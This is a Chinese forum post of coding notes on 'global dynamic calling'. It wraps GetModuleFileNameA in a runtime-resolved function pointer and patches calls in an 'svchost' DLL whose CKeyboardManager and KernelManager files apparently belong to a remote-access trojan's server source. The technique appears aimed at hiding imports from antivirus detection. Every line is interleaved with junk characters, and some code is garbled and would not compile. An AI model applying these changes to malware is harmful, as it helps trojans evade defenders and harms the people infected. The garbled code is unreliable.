返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记5 L" ?" F& j7 n# R
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h6 J* F) D' Q1 V" E( E9 D5 q- ^! V
----------------------------------------% b/ w3 n  d4 j  N
DTDY.h:
- {+ Z" ~: t" ~. s; D* y" V( Z' c) @7 j% |0 }: M/ z
#if _MSC_VER>10006 O* C' l+ r8 X$ y
#pragma once
7 n( Z9 m: m! `- a! V0 J! w3 _, \5 V#endif //_MSC_VER>1000/ Y( ]* p0 @: ~2 e3 i& r
#include<windows.h>, e/ W3 W! {( H/ j! U' J8 {# `

5 t: _. f* n( z! w' g% s5 Mtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);, E% g( A- S1 v$ n% F0 k* @
class DTDY7 o0 o) M# Q# |9 a
{
6 J* X% G3 R" K2 vpublic:
( M) s4 L6 K  }! QDTDY();( v9 x: L4 m- m
virtual ~DTDY();5 A8 C! p8 t% m1 a
public:
5 }; ^* w+ ~% i* ?# F  R3 cstatic pGetModuleFileNameA MyGetModuleFileName;6 ~1 M+ N$ K0 V; [; D
static BOOL FunInitiallization();
: n6 z7 l$ m6 }};) c5 _3 q2 ^% S6 Y( F
#endif
# P8 ?2 G9 u% P2 A+ U----------------------------------------+ l$ B2 M1 e5 v% q7 L
8 c8 V7 I0 [. A- B* X
DTDY.cpp:
! w0 p1 n! w% d# W
, ~9 K0 P) z) G1 ~#include "DTDY.h"
2 m* {/ I$ g  k0 o* _  [$ n% ~. h. g0 ^pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
% `# E. z! t# G8 P: D" }DTDY:TDY()
9 j- @. J  R+ ]) Q# s) L{  c: r7 f2 u% Y: F! m
}
, D1 y7 ^' k+ |) F- G( nDTDY::~DTDY()! t7 A* Z0 x2 y1 N- y" E' Y( m7 H- C" C
{7 c: q; O! o9 B. c2 `* r
}
9 d! r% w" R* h$ Y0 e5 G6 ZBOOL DTDY::FunInitiallization()
* X% j# Q( ~) d% O1 C{
. y9 ?) _( Y1 c6 }4 BHMODULE hModule=LoadLibrary("kernel32.dll");
/ U$ T6 v' c% t9 ~2 H( i0 QMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");6 `. S$ \: I5 o6 K' F/ R! y2 r
if(!MyGetModuleFileName=) return FALSE;: O  d5 J! E& {, w7 z7 V: P+ u
" V- p; s6 G9 x8 o4 u. \
return TRUE;1 R' T( f! r, n8 G) {! t
}! e4 V9 o/ V! \
----------------------------------------+ o) x2 w9 p) W- U; B+ e1 I
svchost.cpp:
7 F  D/ J' W1 H7 G( t8 T  O3 T' m/ A( A3 O
#include "DTDY.h"7 z  C1 t" i2 Y& W3 [

/ P' L6 n8 C1 @BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
, U: z! A' C% {{
  z, }/ u% q' B3 m' [" Bswitch(ul_reason_for_call)
3 Q% l! r! A6 {" ?( U# B& n: |{% V5 @" N6 C7 v, K4 R8 M
case DLL_PROCESS_ATTACH:0 D& B6 j* h% r9 `( w. n; }
if(!DTDY::FunInitiallization()) return FALSE;, z# o  O5 s4 q! Y

# o5 ]0 R3 V- t+ Wbreak;
) @  W& q8 H1 F) y3 y& Q, G8 [}
) q0 J9 j, h! B" d; d}) ?2 z7 v9 ~1 i+ ?  B
6 b& I+ {$ V0 w7 ?
, f; g8 L" z" j+ e% w. {6 e
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def3 j' H4 ]7 P2 A2 x% S! c
改写为# T3 N, j' p) P: \) I
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
# b  V% g1 V. L% T6 }----------------------------------------4 Q9 q: a3 k; P9 S$ A( Y0 U2 H% @
KernelManager.cpp:
& A1 b) H% e& [" F7 i/ W
6 N/ {+ U+ e4 V& R8 {6 A4 g#include "../DTDY.h"
. K3 D4 Z; f  N3 U8 ^GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, C) g5 ?1 X- D9 p; C& v
改写为
# ?  c- i6 r( a. O' Y. J, w7 kDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) @; Y1 H& [" U6 g
----------------------------------------

返回列表